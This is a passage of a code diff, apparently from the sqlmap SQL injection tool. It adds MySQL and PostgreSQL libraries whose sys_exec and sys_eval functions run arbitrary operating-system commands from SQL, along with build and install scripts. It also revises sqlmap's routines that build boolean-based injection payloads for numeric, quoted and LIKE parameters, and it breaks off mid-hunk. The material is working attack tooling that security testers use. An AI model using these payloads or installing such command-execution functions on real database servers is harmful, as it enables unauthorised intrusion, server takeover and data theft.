+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
|
||||||
|
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
|
||||||
|
@@ -1,6 +1,4 @@
|
||||||
|
-linux: \
|
||||||
|
- lib_mysqludf_sys.so
|
||||||
|
+LIBDIR=/usr/lib
|
||||||
|
|
||||||
|
-lib_mysqludf_sys.so: \
|
||||||
|
-
|
||||||
|
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
||||||
|
+install:
|
||||||
|
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
|
||||||
|
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn
|
||||||
BIN
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
Normal file
BIN
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
Normal file
Binary file not shown.
4
extra/postgresqludfsys/lib_postgresqludf_sys/Makefile
Normal file
4
extra/postgresqludfsys/lib_postgresqludf_sys/Makefile
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
LIBDIR=/usr/lib
|
||||||
|
|
||||||
|
install:
|
||||||
|
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so
|
||||||
43
extra/postgresqludfsys/lib_postgresqludf_sys/install.sh
Executable file
43
extra/postgresqludfsys/lib_postgresqludf_sys/install.sh
Executable file
@@ -0,0 +1,43 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
# Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
# web: http://bernardodamele.blogspot.com/
|
||||||
|
# email: bernardo.damele@gmail.com
|
||||||
|
#
|
||||||
|
# This library is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU Lesser General Public
|
||||||
|
# License as published by the Free Software Foundation; either
|
||||||
|
# version 2.1 of the License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This library is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# Lesser General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU Lesser General Public
|
||||||
|
# License along with this library; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
|
||||||
|
echo "Compiling the PostgreSQL UDF"
|
||||||
|
make
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: You need postgresql-server development software installed "
|
||||||
|
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||||
|
echo "apt-get install postgresql-server-dev-8.3"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "PostgreSQL UDF compiled successfully"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
||||||
|
|
||||||
|
/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
|
||||||
|
#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: unable to install the UDF"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "PostgreSQL UDF installed successfully"
|
||||||
|
fi
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <postgres.h>
|
||||||
|
#include <fmgr.h>
|
||||||
|
|
||||||
|
#ifdef PG_MODULE_MAGIC
|
||||||
|
PG_MODULE_MAGIC;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_exec);
|
||||||
|
Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
int32 result = 0;
|
||||||
|
char *command;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)palloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command execution: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = system(command);
|
||||||
|
pfree(command);
|
||||||
|
|
||||||
|
PG_FREE_IF_COPY(argv0, 0);
|
||||||
|
PG_RETURN_INT32(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_eval);
|
||||||
|
Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
text *result_text;
|
||||||
|
int32 argv0_size;
|
||||||
|
char *command;
|
||||||
|
char *result;
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
int32 outlen, linelen;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)palloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command evaluated: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(command, "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (*result) {
|
||||||
|
result[outlen] = 0x00;
|
||||||
|
}
|
||||||
|
|
||||||
|
result_text = (text *)palloc(VARHDRSZ + strlen(result));
|
||||||
|
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||||
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
|
PG_RETURN_POINTER(result_text);
|
||||||
|
}
|
||||||
BIN
extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so
Executable file
BIN
extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so
Executable file
Binary file not shown.
@@ -0,0 +1,23 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
BIN
extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
Normal file
BIN
extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
Normal file
Binary file not shown.
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ $Id$
|
|||||||
|
|
||||||
02/2006 Will Holcomb <wholcomb@gmail.com>
|
02/2006 Will Holcomb <wholcomb@gmail.com>
|
||||||
|
|
||||||
|
Reference: http://odin.himinbi.org/MultipartPostHandler.py
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
This library is free software; you can redistribute it and/or
|
||||||
modify it under the terms of the GNU Lesser General Public
|
modify it under the terms of the GNU Lesser General Public
|
||||||
License as published by the Free Software Foundation; either
|
License as published by the Free Software Foundation; either
|
||||||
@@ -14,6 +16,10 @@ This library is distributed in the hope that it will be useful,
|
|||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
Lesser General Public License for more details.
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -71,11 +71,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == True:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "confirming custom injection "
|
infoMsg = "confirming custom injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -83,7 +83,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "custom injectable "
|
infoMsg += "custom injectable "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -97,11 +97,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == True:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "confirming unescaped numeric injection "
|
infoMsg = "confirming unescaped numeric injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -109,7 +109,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "unescaped numeric injectable "
|
infoMsg += "unescaped numeric injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -128,11 +128,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == True:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "confirming single quoted string injection "
|
infoMsg = "confirming single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -140,7 +140,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "single quoted string injectable "
|
infoMsg += "single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -159,11 +159,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == True:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "confirming LIKE single quoted string injection "
|
infoMsg = "confirming LIKE single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -171,7 +171,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE single quoted string injectable "
|
infoMsg += "LIKE single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -190,11 +190,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == True:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "confirming double quoted string injection "
|
infoMsg = "confirming double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -202,7 +202,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "double quoted string injectable "
|
infoMsg += "double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -221,11 +221,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == True:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "confirming LIKE double quoted string injection "
|
infoMsg = "confirming LIKE double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -233,7 +233,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != True:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE double quoted string injectable "
|
infoMsg += "LIKE double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -262,7 +262,7 @@ def checkDynParam(place, parameter, value):
|
|||||||
payload = agent.payload(place, parameter, value, str(randInt))
|
payload = agent.payload(place, parameter, value, str(randInt))
|
||||||
dynResult1 = Request.queryPage(payload, place)
|
dynResult1 = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if kb.defaultResult == dynResult1:
|
if True == dynResult1:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||||
@@ -274,8 +274,8 @@ def checkDynParam(place, parameter, value):
|
|||||||
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
||||||
dynResult3 = Request.queryPage(payload, place)
|
dynResult3 = Request.queryPage(payload, place)
|
||||||
|
|
||||||
condition = kb.defaultResult != dynResult2
|
condition = True != dynResult2
|
||||||
condition |= kb.defaultResult != dynResult3
|
condition |= True != dynResult3
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
@@ -295,67 +295,19 @@ def checkStability():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
firstPage, firstHeaders = Request.queryPage(content=True)
|
||||||
time.sleep(0.5)
|
time.sleep(1)
|
||||||
|
|
||||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
secondPage, secondHeaders = Request.queryPage(content=True)
|
||||||
time.sleep(0.5)
|
|
||||||
|
|
||||||
thirdPage, thirdHeaders = Request.queryPage(content=True)
|
condition = firstPage == secondPage
|
||||||
|
|
||||||
condition = firstPage == secondPage
|
|
||||||
condition &= secondPage == thirdPage
|
|
||||||
|
|
||||||
if condition == False:
|
if condition == False:
|
||||||
# Prepare for the comparison algorithm based on Content-Length
|
warnMsg = "url is not stable, sqlmap will base the page "
|
||||||
# header value
|
